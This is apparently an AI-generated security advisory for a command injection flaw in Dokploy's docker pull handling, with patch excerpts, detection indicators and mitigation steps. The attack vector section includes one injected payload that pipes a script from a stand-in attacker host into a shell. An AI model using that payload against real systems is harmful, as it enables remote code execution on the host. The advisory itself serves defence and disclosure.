CVE-2026-72870 Overview
CVE-2026-72870 is an OS command injection vulnerability [CWE-78] in Dokploy, a self-hostable Platform as a Service (PaaS). The flaw resides in the buildRemoteDocker() function inside packages/server/src/utils/providers/docker.ts. The function interpolates the application-controlled dockerImage value directly into a docker pull shell command. An authenticated user with project access can set a crafted dockerImage through application.update and trigger application.deploy, causing execAsync() to execute arbitrary operating system commands as the Dokploy server process. The issue is fixed in Dokploy version 0.29.13.
Critical Impact
Any authenticated user with project access can execute arbitrary OS commands on the Dokploy host, leading to full compromise of the PaaS server and all managed workloads.
Affected Products
- Dokploy versions prior to 0.29.13
- packages/server/src/utils/providers/docker.ts — buildRemoteDocker()
- Self-hosted Dokploy PaaS deployments
Discovery Timeline
- 2026-08-10 - CVE-2026-72870 published to the National Vulnerability Database (NVD)
- 2026-08-11 - Last updated in NVD database
Technical Details for CVE-2026-72870
Vulnerability Analysis
The vulnerability is a classic OS command injection [CWE-78] caused by unsanitized interpolation of user-controlled input into a shell command string. Within buildRemoteDocker(), the dockerImage value supplied by an authenticated user is placed directly into a docker pull command that is later handed to execAsync(). Because the string is executed by a shell, metacharacters such as ;, &&, |, and backticks break out of the intended docker pull context and execute attacker-controlled commands.
Exploitation requires only project-level access, not administrative privilege. The commands run under the identity of the Dokploy server process, granting the attacker read/write access to Dokploy configuration, secrets, Docker sockets, and any container the host manages.
Root Cause
The root cause is direct string interpolation of user input into a shell command without escaping or argument-array execution. The patched code introduces the shell-quote package and wraps every user-controlled value with quote([...]) before it reaches the shell.
Attack Vector
The attack path is network-based and authenticated. An attacker with project access:
- Calls application.update and sets dockerImage to a payload such as nginx; curl attacker.example/x | sh.
- Calls application.deploy, which invokes buildRemoteDocker().
- execAsync() runs the composed shell command, executing the injected payload on the Dokploy host.
// Patch excerpt from packages/server/src/utils/builders/docker-file.ts
// fix(security): escape user input in docker build/pull commands
command += `
-echo "Building ${appName}" ;
-cd ${dockerContextPath} || {
- echo "❌ The path ${dockerContextPath} does not exist" ;
+echo ${quote([`Building ${appName}`])} ;
+cd ${quote([dockerContextPath])} || {
+ echo ${quote([`❌ The path ${dockerContextPath} does not exist`])} ;
exit 1;
}
Source: GitHub Commit cba0b25
A companion change in packages/server/src/utils/builders/nixpacks.ts imports the escaping helper:
import path from "node:path";
import { getStaticCommand } from "@dokploy/server/utils/builders/static";
import { nanoid } from "nanoid";
import { quote } from "shell-quote";
import { prepareEnvironmentVariablesForShell } from "../docker/utils";
import { getBuildAppDirectory } from "../filesystem/directory";
import type { ApplicationNested } from ".";
Source: GitHub Commit cba0b25
Detection Methods for CVE-2026-72870
Indicators of Compromise
- Unexpected child processes spawned by the Dokploy server process following application.deploy events.
- dockerImage field values in application records containing shell metacharacters such as ;, |, &&, `, or $(.
- Outbound network connections from the Dokploy host to unknown domains initiated shortly after a deploy action.
- New or modified files under Dokploy's working directories not associated with a legitimate build.
Detection Strategies
- Review Dokploy audit logs for application.update calls that modified dockerImage to values that are not valid image references.
- Monitor process ancestry for docker pull invocations spawning non-Docker child processes such as sh, bash, curl, or wget.
- Alert on execAsync command lines in host logs containing shell metacharacters within the image argument position.
Monitoring Recommendations
- Enable command-line auditing (auditd, Sysmon for Linux) on hosts running Dokploy and forward events to a central SIEM.
- Baseline expected child processes of the Dokploy node runtime and alert on deviations.
- Track Dokploy release version across deployments to identify hosts still running versions prior to 0.29.13.
How to Mitigate CVE-2026-72870
Immediate Actions Required
- Upgrade Dokploy to version 0.29.13 or later on every host.
- Rotate any credentials, API tokens, and Docker registry secrets stored on Dokploy hosts that ran a vulnerable version.
- Audit all existing dockerImage values across projects for shell metacharacters and review recent deploy history.
- Restrict project access to trusted users until patching is complete.
Patch Information
The fix is available in Dokploy v0.29.13. Technical details are documented in GitHub Security Advisory GHSA-g9cg-4mmj-mh7p and the fix in Pull Request #4860. The patch introduces shell-quote and wraps user-controlled values with quote([...]) before they are passed to the shell.
Workarounds
- Place Dokploy behind an authenticated reverse proxy and limit project access to a small set of trusted operators until patched.
- Run the Dokploy server process under a dedicated low-privilege system account with restricted filesystem and Docker socket access.
- Apply egress network filtering on the Dokploy host to block arbitrary outbound connections initiated by deploy actions.
# Verify the installed Dokploy version and upgrade if below 0.29.13
docker inspect dokploy --format '{{.Config.Image}}'
docker pull dokploy/dokploy:0.29.13
docker compose -f /etc/dokploy/docker-compose.yml up -d
Disclaimer: This content was generated using AI. While we strive for accuracy, please verify critical information with official sources.

